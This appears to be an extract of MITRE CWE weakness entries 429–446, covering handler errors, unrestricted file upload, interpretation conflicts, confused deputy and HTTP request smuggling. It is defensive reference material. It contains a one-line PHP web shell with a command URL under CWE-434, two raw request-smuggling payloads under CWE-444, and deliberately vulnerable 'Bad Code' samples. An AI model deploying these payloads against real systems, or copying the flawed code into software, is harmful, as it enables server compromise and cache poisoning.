Category ID: 429 (Category)	Status: Draft
Description	

Summary

Weaknesses in this category are related to improper management of handlers.

Relationships

Nature	Type	ID	Name	V	Page
ParentOf	B	430	Deployment of Wrong Handler	699	726
ParentOf	B	431	Missing Handler	699	727
ParentOf	B	432	Dangerous Signal Handler not Disabled During Sensitive Operations	699	728

MemberOf	V	699	Development Concepts	699	1061

Research Gaps

This concept is under-defined and needs more research.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Handler Errors

CWE-430: Deployment of Wrong Handler

Weakness ID: 430 (Weakness Base) Status: Incomplete

Description

Summary

The wrong "handler" is assigned to process an object.

Extended Description

An example of deploying the wrong handler would be calling a servlet to reveal source code of a .JSP file, or automatically "determining" type of the object even if it is contradictory to an explicitly specified type.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Integrity

Other

Varies by context

Unexpected state

Observed Examples

Reference	Description
CVE-2000-1052	Source code disclosure by directly invoking a servlet.
CVE-2001-0004	Source code disclosure via manipulated file extension that causes parsing by wrong DLL.
CVE-2002-0025	Web browser does not properly handle the Content-Type header field, causing a different application to process the document.
CVE-2002-1742	Arbitrary Perl functions can be loaded by calling a non-existent function that activates a handler.

Potential Mitigations

Architecture and Design

Perform a type check before interpreting an object.

Architecture and Design

Reject any inconsistent types, such as a file with a .GIF extension that appears to consist of PHP code.

Weakness Ordinalities

Resultant (where the weakness is typically related to the presence of some other weaknesses)

This weakness is usually resultant from other weaknesses.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	429	Handler Errors	699	725
CanPrecede	V	433	Unparsed Raw Web Content Delivery	1000	728

CWE-431: Missing Handler

Weakness ID: 431 (Weakness Base) Status: Draft

Description

Summary

A handler is not available or implemented.

Extended Description

When an exception is thrown and not caught, the process has given up an opportunity to decide if a given failure or event is worth a change in execution.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Other

Varies by context

Demonstrative Examples

If a Servlet does not catch all exceptions, it may reveal debugging information that will help an adversary form a plan of attack. In the following method a DNS lookup failure will cause the Servlet to throw an exception.

Java Example:

Bad Code

```
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
    String ip = req.getRemoteAddr();
    InetAddress addr = InetAddress.getByName(ip);
    ...
    out.println("hello " + addr.getHostName());
}
```

When a Servlet throws an exception, the default error response the Servlet container sends back to the user typically includes debugging information. This information is of great value to an attacker.

Potential Mitigations

Implementation

Handle all possible situations (e.g. error condition).

Implementation

If an operation can throw an Exception, implement a handler for that specific exception.

Relationships

Nature	Type	ID	Name	V	Page

CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations

Weakness ID: 432 (Weakness Base)

Status: Draft

Description**Summary**

The application uses a signal handler that shares state with other signal handlers, but it does not properly mask or prevent those signal handlers from being invoked while the original signal handler is still running.

Extended Description

During the execution of a signal handler, it can be interrupted by another handler when a different signal is sent. If the two handlers share state - such as global variables - then an attacker can corrupt the state by sending another signal before the first handler has completed execution.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms**Languages**

- Language-Independent

Common Consequences**Integrity**

Modify application data

Potential Mitigations**Implementation**

Turn off dangerous handlers when performing sensitive operations.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	E	364	Signal Handler Race Condition	699	626
ChildOf	C	429	Handler Errors	1000	725
ChildOf	C	1001	SFP Secondary Cluster: Use of an Improper API	699	725
ChildOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1398

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	SIG00-C	Mask signals handled by noninterruptible signal handlers
PLOVER		Dangerous handler not cleared/disabled during sensitive operations

CWE-433: Unparsed Raw Web Content Delivery

Weakness ID: 433 (*Weakness Variant*)**Status:** Incomplete**Description****Summary**

The software stores raw content or supporting code under the web document root with an extension that is not specifically handled by the server.

Extended Description

If code is stored in a file with an extension such as ".inc" or ".pl", and the web server does not have a handler for that extension, then the server will likely send the contents of the file directly to the requester without the pre-processing that was expected. When that file contains sensitive information such as database credentials, this may allow the attacker to compromise the application or associated components.

Time of Introduction

- Implementation
- Operation

Applicable Platforms**Languages**

- Language-Independent

Common Consequences**Confidentiality****Read application data****Demonstrative Examples**

The following code uses an include file to store database credentials:

database.inc

PHP Example:*Bad Code*

```
<?php
$dbName = 'usersDB';
$dbPassword = 'skjdh#67nkjd3$3$';
?>
```

login.php

PHP Example:*Bad Code*

```
<?php
include('database.inc');
$db = connectToDB($dbName, $dbPassword);
$db.authenticateUser($username, $password);
?>
```

If the server does not have an explicit handler set for .inc files it may send the contents of database.inc to an attacker without pre-processing, if the attacker requests the file directly. This will expose the database name and password.

Observed Examples

Reference	Description
CVE-2001-0330	direct request to .pl file leaves it unparsed
CVE-2002-0614	.inc file
CVE-2002-1886	".inc" file stored under web document root and returned unparsed by the server
CVE-2002-2065	".inc" file stored under web document root and returned unparsed by the server
CVE-2004-2353	unparsed config.conf file
CVE-2005-2029	".inc" file stored under web document root and returned unparsed by the server
CVE-2007-3365	Chain: uppercase file extensions causes web server to return script source code instead of executing the script.

Potential Mitigations**Architecture and Design**

Perform a type check before interpreting files.

Architecture and Design

Do not store sensitive information in files which may be misinterpreted.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	V	219	Sensitive Data Under Web Root	1000	403
ChildOf	C	429	Handler Errors	699	725
ChildOf	C	963	SFP Secondary Cluster: Exposed Data	888	1365

CWE-434: Unrestricted Upload of File with Dangerous Type

Weakness ID: 434 (Weakness Base)

Status: Draft

Description**Summary**

The software allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment.

Alternate Terms**Unrestricted File Upload**

The "unrestricted file upload" term is used in vulnerability databases and elsewhere, but it is insufficiently precise. The phrase could be interpreted as the lack of restrictions on the size or number of uploaded files, which is a resource consumption issue.

Time of Introduction

- Implementation
- Architecture and Design

Applicable Platforms**Languages**

- ASP.NET (Sometimes)
- PHP (Often)
- Language-Independent

Architectural Paradigms

- Web-based

Technology Classes

- Web Server (Sometimes)

Modes of Introduction

OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.

Common Consequences

Integrity**Confidentiality****Availability****Execute unauthorized code or commands**

Arbitrary code execution is possible if an uploaded file is interpreted and executed as code by the recipient. This is especially true for .asp and .php extensions uploaded to web servers because these file types are often treated as automatically executable, even when file system permissions do not specify execution. For example, in Unix environments, programs typically cannot run unless the execute bit is set, but PHP programs may be executed by the web server without directly invoking them on the operating system.

Likelihood of Exploit

Medium

Detection Methods**Dynamic Analysis with automated results interpretation****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

Context-configured Source Code Weakness Analyzer

Architecture / Design Review**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples**Example 1:**

The following code intends to allow a user to upload a picture to the web server. The HTML code that drives the form on the user end has an input field of type "file".

HTML Example:

Good Code

```
<form action="upload_picture.php" method="post" enctype="multipart/form-data">
Choose a file to upload:
```

```
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
```

Once submitted, the form above sends the file to `upload_picture.php` on the web server. PHP stores the file in a temporary location until it is retrieved (or discarded) by the server side code. In this example, the file is moved to a more permanent `pictures/` directory.

PHP Example:*Bad Code*

```
// Define the target location where the picture being
// uploaded is going to be saved.
$target = "pictures/" . basename($_FILES['uploadedfile']['name']);
// Move the uploaded file to the new location.
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target))
{
    echo "The picture has been successfully uploaded.";
}
else
{
    echo "There was an error uploading the picture, please try again.";
}
```

The problem with the above code is that there is no check regarding type of file being uploaded. Assuming that `pictures/` is available in the web document root, an attacker could upload a file with the name:

Attack

```
malicious.php
```

Since this filename ends in `.php` it can be executed by the web server. In the contents of this uploaded file, the attacker could use:

PHP Example:*Attack*

```
<?php
system($_GET['cmd']);
?>
```

Once this file has been installed, the attacker can enter arbitrary commands to execute using a URL such as:

Attack

```
http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l
```

which runs the `"ls -l"` command - or any other type of command that the attacker wants to specify.

Example 2:

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The HTML code is the same as in the previous example with the `action` attribute of the form sending the upload file request to the Java servlet instead of the PHP code.

HTML Example:*Good Code*

```
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">
Choose a file to upload:
<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>
</form>
```

When submitted the Java servlet's `doPost` method will receive the request, extract the name of the file from the `Http` request header, read the file contents from the request and output the file to the local upload directory.

Java Example:*Bad Code*

```
public class FileUploadServlet extends HttpServlet {
    ...
```

```

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException,
IOException {
    response.setContentType("text/html");
    PrintWriter out = response.getWriter();
    String contentType = request.getContentType();
    // the starting position of the boundary header
    int ind = contentType.indexOf("boundary=");
    String boundary = contentType.substring(ind+9);
    String pLine = new String();
    String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value
    // verify that content type is multipart form data
    if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {
        // extract the filename from the Http header
        BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
        ...
        pLine = br.readLine();
        String filename = pLine.substring(pLine.lastIndexOf("\n"), pLine.lastIndexOf("\n"));
        ...
        // output the file to the local upload directory
        try {
            BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
            for (String line; (line=br.readLine())!=null; ) {
                if (line.indexOf(boundary) == -1) {
                    bw.write(line);
                    bw.newLine();
                    bw.flush();
                }
            } //end of for loop
            bw.close();
        } catch (IOException ex) {...}
        // output successful upload response HTML page
    }
    // output unsuccessful upload response HTML page
    else
    {...}
}
...
}

```

As with the previous example this code does not perform a check on the type of the file being uploaded. This could allow an attacker to upload any executable file or other file with malicious code.

Additionally, the creation of the `BufferedWriter` object is subject to relative path traversal (CWE-22, CWE-23). Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

Observed Examples

Reference	Description
CVE-2001-0901	Web-based mail product stores ".shtml" attachments that could contain SSI
CVE-2002-1841	PHP upload does not restrict file types
CVE-2004-2262	improper type checking of uploaded files
CVE-2005-0254	program does not restrict file types
CVE-2005-1868	upload and execution of .php file
CVE-2005-1881	upload file with dangerous extension
CVE-2005-3288	ASP file upload
CVE-2006-2428	ASP file upload
CVE-2006-4558	Double "php" extension leaves an active php extension in the generated filename.
CVE-2006-6994	ASP program allows upload of .asp files by bypassing client-side checks

Potential Mitigations

Architecture and Design

Generate a new, unique filename for an uploaded file instead of using the user-supplied filename, so that no external input is used at all.[R.434.1] [R.434.2]

Architecture and Design**Enforcement by Conversion**

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Architecture and Design

Consider storing the uploaded files outside of the web document root entirely. Then, use other mechanisms to deliver the files dynamically. [R.434.2]

Implementation**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

For example, limiting filenames to alphanumeric characters can help to restrict the introduction of unintended file extensions.

Architecture and Design

Define a very limited set of allowable extensions and only generate filenames that end in these extensions. Consider the possibility of XSS (CWE-79) before allowing .html or .htm file types.

Implementation**Input Validation**

Ensure that only one extension is used in the filename. Some web servers, including some versions of Apache, may process files based on inner extensions so that "filename.php.gif" is fed to the PHP interpreter.[R.434.1] [R.434.2]

Implementation

When running on a web server that supports case-insensitive filenames, perform case-insensitive evaluations of the extensions that are provided.

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Implementation

Do not rely exclusively on sanity checks of file contents to ensure that the file is of the expected type and size. It may be possible for an attacker to hide code in some file segments that will still be executed by the server. For example, GIF images may contain a free-form comments field.

Implementation

Do not rely exclusively on the MIME content type or filename attribute when determining how to render a file. Validating the MIME content type and ensuring that it matches the extension is only a partial solution.

Architecture and Design**Operation****Environment Hardening**

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.434.4]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Architecture and Design**Operation****Sandbox or Jail****Limited**

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

This can be primary when there is no check at all.

Resultant (where the weakness is typically related to the presence of some other weaknesses)

This is frequently resultant when use of double extensions (e.g. ".php.gif") bypasses a sanity check.

Resultant (where the weakness is typically related to the presence of some other weaknesses)

This can be resultant from client-side enforcement (CWE-602); some products will include web script in web clients to check the filename, without verifying on the server side.

Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page

CanFollow	B	184	Incomplete Blacklist	1000	344
MemberOf	V	884	CWE Cross-section	884	1306

Relationship Notes

This can have a chaining relationship with incomplete blacklist / permissive whitelist errors when the product tries, but fails, to properly limit which types of files are allowed (CWE-183, CWE-184). This can also overlap multiple interpretation errors for intermediaries, e.g. anti-virus products that do not remove or quarantine attachments with certain file extensions that can be processed by client systems.

Research Gaps

PHP applications are most targeted, but this likely applies to other languages that support file upload, as well as non-web technologies. ASP applications have also demonstrated this problem.

Affected Resources

CWE-435: Improper Interaction Between Multiple Entities

Weakness ID: 435 (Weakness Class)

Status: Draft

Description

Summary

An interaction error occurs when two entities work correctly when running independently, but they interact in unexpected ways when they are run together.

Extended Description

This could apply to products, systems, components, etc.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Integrity

Other

Unexpected state

Varies by context

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	2	7PK - Environment	1003	1
ChildOf	C	957	SFP Secondary Cluster: Protocol Error	888	1363
ParentOf	B	188	Reliance on Data/Memory Layout	1000	351
ParentOf	B	436	Interpretation Conflict	1000 1003	737
ParentOf	B	439	Behavioral Change in New Version or Environment	1000	740
ParentOf	B	733	Compiler Optimization Removal or Modification of Security-critical Code	1000	1108
MemberOf	V	1000	Research Concepts	1000	1397

Relationship Notes

The "Interaction Error" term, in CWE and elsewhere, is only intended to describe products that behave according to specification. When one or more of the products do not comply with specifications, then it is more likely to be API Abuse (CWE-227) or an interpretation conflict (CWE-436). This distinction can be blurred in real world scenarios, especially when "de facto" standards do not comply with specifications, or when there are no standards but there is widespread adoption. As a result, it can be difficult to distinguish these weaknesses during mapping and classification.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Interaction Errors

CWE-436: Interpretation Conflict

Weakness ID: 436 (Weakness Base)

Status: Incomplete

Description

Summary

Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state.

Extended Description

This is generally found in proxies, firewalls, anti-virus software, and other intermediary devices that monitor, allow, deny, or modify traffic based on how the client or server is expected to behave.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Integrity

Other

Unexpected state

Varies by context

Demonstrative Examples

Example 1:

The paper "Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection" [R.436.2] shows that OSes varied widely in how they manage unusual packets, which made it difficult or impossible for intrusion detection systems to properly detect certain attacker manipulations that took advantage of these OS differences.

Example 2:

Null characters have different interpretations in Perl and C, which have security consequences when Perl invokes C functions. Similar problems have been reported in ASP [R.436.3] and PHP.

Observed Examples

Reference	Description
CVE-2002-0485	Anti-virus product allows bypass via Content-Type and Content-Disposition headers that are mixed case, which are still processed by some clients.
CVE-2002-0637	Virus product bypass with spaces between MIME header fields and the ":" separator, a non-standard message that is accepted by some clients.
CVE-2002-1777	AV product detection bypass using inconsistency manipulation (file extension in MIME Content-Type vs. Content-Disposition field).
CVE-2002-1978	FTP clients sending a command with "PASV" in the argument can cause firewalls to misinterpret the server's error as a valid response, allowing filter bypass.
CVE-2002-1979	FTP clients sending a command with "PASV" in the argument can cause firewalls to misinterpret the server's error as a valid response, allowing filter bypass.
CVE-2005-1215	Bypass filters or poison web cache using requests with multiple Content-Length headers, a non-standard behavior.
CVE-2005-3310	CMS system allows uploads of files with GIF/JPG extensions, but if they contain HTML, Internet Explorer renders them as HTML instead of images.
CVE-2005-4080	Interpretation conflict (non-standard behavior) enables XSS because browser ignores invalid characters in the middle of tags.
CVE-2005-4260	Interpretation conflict allows XSS via invalid "<" when a ">" is expected, which is treated as ">" by many web browsers.

CWE-437: Incomplete Model of Endpoint Features

Weakness ID: 437 (Weakness Base)

Status: Incomplete

Description

Summary

A product acts as an intermediary or monitor between two or more endpoints, but it does not have a complete model of an endpoint's features, behaviors, or state, potentially causing the product to perform incorrect actions based on this incomplete model.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Integrity

Other

Unexpected state

Varies by context

Demonstrative Examples

Example 1:

HTTP request smuggling is an attack against an intermediary such as a proxy. This attack works because the proxy expects the client to parse HTTP headers one way, but the client parses them differently.

Example 2:

Anti-virus products that reside on mail servers can suffer from this issue if they do not know how a mail client will handle a particular attachment. The product might treat an attachment type as safe, not knowing that the client's configuration treats it as executable.

PLOVER	CHANGE Behavioral Change

CWE-440: Expected Behavior Violation

Weakness ID: 440 (*Weakness Base*) Status: Draft

Description

Summary

A feature, API, or function being used by a product behaves differently than the product expects.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Other

Quality degradation

Varies by context

Observed Examples

Reference	Description
CVE-2003-0187	Inconsistency in support of linked lists causes program to use large timeouts on "undeserving" connections.
CVE-2003-0465	"strncpy" in Linux kernel acts different than libc on x86, leading to expected behavior difference - sort of a multiple interpretation error?
CVE-2005-3265	Buffer overflow in product stems to the use of a third party library function that is expected to have internal protection against overflows, but doesn't.

Relationships

Nature	Type	ID	Name		Page
ChildOf		438	Behavioral Problems		699 739
ChildOf		684	Incorrect Provision of Specified Functionality		1000 1045
ChildOf		1001	SFP Secondary Cluster: Use of an Improper API		888 1398

Theoretical Notes

The consistency dimension of validity is the most appropriate relevant property of an expected behavior violation. That is, the behavior of the application is not consistent with the expectations of the developer, leading to a violation of the validity property of the software.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Expected behavior violation

CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')

Weakness ID: 441 (*Weakness Class*) Status: Draft

Description

Summary

The software receives a request, message, or directive from an upstream component, but the software does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the software's control sphere. This causes the software to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.

Extended Description

If an attacker cannot directly contact a target, but the software has access to the target, then the attacker can send a request to the software and have it be forwarded from the target. The request would appear to be coming from the software's system, not the attacker's system. As a result, the attacker can bypass access controls (such as firewalls) or hide the source of malicious requests, since the requests would not be coming directly from the attacker.

Since proxy functionality and message-forwarding often serve a legitimate purpose, this issue only becomes a vulnerability when:

The software runs with different privileges or on a different system, or otherwise has different levels of access than the upstream component;

The attacker is prevented from making the request directly to the target; and

The attacker can create a request that the proxy does not explicitly intend to be forwarded on the behalf of the requester. Such a request might point to an unexpected hostname, port number, or service. Or, the request might be sent to an allowed service, but the request could contain disallowed directives, commands, or resources.

Alternate Terms

Confused Deputy

This weakness is sometimes referred to as the "Confused deputy" problem, in which an attacker misused the authority of one victim (the "confused deputy") when targeting another victim.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Non-Repudiation

Access Control

Gain privileges / assume identity

Hide activities

Observed Examples

Reference	Description
CVE-1999-0017	FTP bounce attack. The design of the protocol allows an attacker to modify the PORT command to cause the FTP server to connect to other machines besides the attacker's.
CVE-1999-0168	RPC portmapper could redirect service requests from an attacker to another entity, which thinks the requests came from the portmapper.
CVE-2001-1484	Bounce attack allows access to TFTP from trusted side.
CVE-2002-1484	Web server allows attackers to request a URL from another server, including other ports, which allows proxied scanning.
CVE-2004-2061	CGI script accepts and retrieves incoming URLs.
CVE-2005-0315	FTP server does not ensure that the IP address in a PORT command is the same as the FTP user's session, allowing port scanning by proxy.
CVE-2009-0037	URL-downloading library automatically follows redirects to file:// and scp:// URLs
CVE-2010-1637	Web-based mail program allows internal network scanning using a modified POP3 port number.

Potential Mitigations

Architecture and Design

Enforce the use of strong mutual authentication mechanism between the two parties.

Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		610	Externally Controlled Reference to a Resource in Another Sphere	699 1000 1003	941
CanPrecede		668	Exposure of Resource to Wrong Sphere	1000	1018

Nature	Type	ID	Name	V	Page
ChildOf	C	956	SFP Secondary Cluster: Channel Attack	888	1362
ChildOf	C	1014	Identify Actors	1008	1411
RequiredBy	3	352	Cross-Site Request Forgery (CSRF)	1000	602
RequiredBy	3	384	Session Fixation	1000	655
PeerOf	V	611	Improper Restriction of XML External Entity Reference ('XXE')	1000	942
ParentOf	B	918	Server-Side Request Forgery (SSRF)	699	1333
				1000	
				1003	
ParentOf	B	1021	Improper Restriction of Rendered UI Layers or Frames	1000	1416

Relationship Notes

This weakness has a chaining relationship with CWE-668 (Exposure of Resource to Wrong Sphere) because the proxy effectively provides the attacker with access to the target's resources that the attacker cannot directly obtain.

Theoretical Notes

It could be argued that the "confused deputy" is a fundamental aspect of most vulnerabilities that require an active attacker. Even for common implementation issues such as buffer overflows, SQL injection, OS command injection, and path traversal, the vulnerable program already has the authorization to run code or access files. The vulnerability arises when the attacker causes the program to run unexpected code or access unexpected files.

CWE-443: DEPRECATED (Duplicate): HTTP response splitting

Weakness ID: 443 (Deprecated Weakness Base) Status: Deprecated

Description

Summary

This weakness can be found at CWE-113.

CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')

Weakness ID: 444 (Weakness Base) Status: Incomplete

Description

Summary

When malformed or abnormal HTTP requests are interpreted by one or more entities in the data flow between the user and the web server, such as a proxy or firewall, they can be interpreted inconsistently, allowing the attacker to "smuggle" a request to one device without the other device being aware of it.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Integrity**Non-Repudiation****Access Control****Unexpected state****Hide activities****Bypass protection mechanism**

An attacker could create a request to exploit a number of weaknesses including 1) the request can trick the web server to associate a URL with another URLs webpage and caching the contents of the webpage (web cache poisoning attack), 2) the request can be structured to bypass the firewall protection mechanisms and gain unauthorized access to a web application, and 3) the request can invoke a script or a page that returns client credentials (similar to a Cross Site Scripting attack).

Demonstrative Examples**Example 1:**

In the following example, a malformed HTTP request is sent to a website that includes a proxy server and a web server with the intent of poisoning the cache to associate one webpage with another malicious webpage.

Attack

```
POST http://www.website.com/foobar.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Content-Length: 44
GET /poison.html HTTP/1.1
Host: www.website.com
Bla: GET http://www.website.com/page_to_poison.html HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
```

When this request is sent to the proxy server, the proxy server parses the POST request in the first seven lines, and encounters the two "Content-Length" headers. The proxy server ignores the first header, so it assumes the request has a body of length 44 bytes. Therefore, it treats the data in the next three lines that contain exactly 44 bytes as the first request's body. The proxy then parses the last three lines which it treats as the client's second request.

The request is forwarded by the proxy server to the web server. Unlike the proxy, the web server uses the first "Content-Length" header and considers that the first POST request has no body, and the second request is the line with the first GET (note that the second GET is parsed by the web server as the value of the "Bla" header).

The requests the web server sees are "POST /foobar.html" and "GET /poison.html", so it sends back two responses with the contents of the "foobar.html" page and the "poison.html" page, respectively. The proxy matches these responses to the two requests it thinks were sent by the client "POST /foobar.html" and "GET /page_to_poison.html". If the response is cacheable, the proxy caches the contents of "poison.html" under the URL "page_to_poison.html", and the cache is poisoned! Any client requesting "page_to_poison.html" from the proxy would receive the "poison.html" page.

When a website includes both a proxy server and a web server some protection against this type of attack can be achieved by installing a web application firewall, or use a web server that includes a stricter HTTP parsing procedure or make all webpages non-cacheable.

Additionally, if a web application includes a Java servlet for processing requests, the servlet can check for multiple "Content-Length" headers and if they are found the servlet can return an error response thereby preventing the poison page to be cached, as shown below.

Java Example:

Good Code

```
protected void processRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException,
IOException {
    // Set up response writer object
    ...
```

```

try {
    // check for multiple content length headers
    Enumeration contentLengthHeaders = request.getHeaders("Content-Length");
    int count = 0;
    while (contentLengthHeaders.hasMoreElements()) {
        count++;
    }
    if (count > 1) {
        // output error response
    }
    else {
        // process request
    }
} catch (Exception ex) {...}
}

```

Example 2:

In the following example, a malformed HTTP request is sent to a website that includes a web server with a firewall with the intent of bypassing the web server firewall to smuggle malicious code into the system..

Attack

```

POST /page.asp HTTP/1.1
Host: www.website.com
Connection: Keep-Alive
Content-Length: 49223
zzz...zzz ["z" x 49152]
POST /page.asp HTTP/1.0
Connection: Keep-Alive
Content-Length: 30
POST /page.asp HTTP/1.0
Bla: POST /page.asp?cmd.exe HTTP/1.0
Connection: Keep-Alive

```

When this request is sent to the web server, the first POST request has a content-length of 49,223 bytes, and the firewall treats the line with 49,152 copies of "z" and the lines with an additional lines with 71 bytes as its body (49,152+71=49,223). The firewall then continues to parse what it thinks is the second request starting with the line with the third POST request.

Note that there is no CRLF after the "Bla: " header so the POST in the line is parsed as the value of the "Bla:" header. Although the line contains the pattern identified with a worm ("cmd.exe"), it is not blocked, since it is considered part of a header value. Therefore, "cmd.exe" is smuggled through the firewall.

When the request is passed through the firewall the web server the first request is ignored because the web server does not find an expected "Content-Type: application/x-www-form-urlencoded" header, and starts parsing the second request.

This second request has a content-length of 30 bytes, which is exactly the length of the next two lines up to the space after the "Bla:" header. And unlike the firewall, the web server processes the final POST as a separate third request and the "cmd.exe" worm is smuggled through the firewall to the web server.

To avoid this attack a Web server firewall product must be used that is designed to prevent this type of attack.

Observed Examples

Reference	Description
CVE-2005-2088	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.
CVE-2005-2089	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.
CVE-2005-2090	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.
CVE-2005-2091	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.

Reference	Description
CVE-2005-2092	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.
CVE-2005-2093	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.
CVE-2005-2094	Web servers allow request smuggling via inconsistent Transfer-Encoding and Content-Length headers.

Potential Mitigations

Implementation

Use a web server that employs a strict HTTP parsing procedure, such as Apache [R.444.1].

Implementation

Use only SSL communication.

Implementation

Terminate the client session after each request.

System Configuration

Turn all pages to non-cacheable.

Relationships

Nature	Type	ID	Name		Page
ChildOf		436	Interpretation Conflict		1000 1003 737
ChildOf		442	Web Problems		699 743
ChildOf		990	SFP Secondary Cluster: Tainted Input to Command		888 1376
MemberOf		884	CWE Cross-section		884 1306

Theoretical Notes

Request smuggling can be performed due to a multiple interpretation error, where the target is an intermediary or monitor, via a consistency manipulation (Transfer-Encoding and Content-Length headers).

CWE-445: DEPRECATED: User Interface Errors

Category ID: 445 (Deprecated Category)

Status: Deprecated

Description

Summary

This weakness has been deprecated because it was a duplicate of CWE-355. All content has been transferred to CWE-355.

CWE-446: UI Discrepancy for Security Feature

Weakness ID: 446 (Weakness Base)

Status: Incomplete

Description

Summary

The user interface does not correctly enable or configure a security feature, but the interface provides feedback that causes the user to believe that the feature is in a secure state.

Extended Description

When the user interface does not properly reflect what the user asks of it, then it can lead the user into a false sense of security. For example, the user might check a box to enable a security option to enable encrypted communications, but the software does not actually enable the encryption. Alternately, the user might provide a "restrict ALL" access control rule, but the software only implements "restrict SOME".

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms**Languages**

- Language-Independent

Common Consequences**Other****Varies by context****Observed Examples**

Reference	Description
CVE-1999-1446	UI inconsistency; visited URLs list not cleared when "Clear History" option is selected.

Relationships

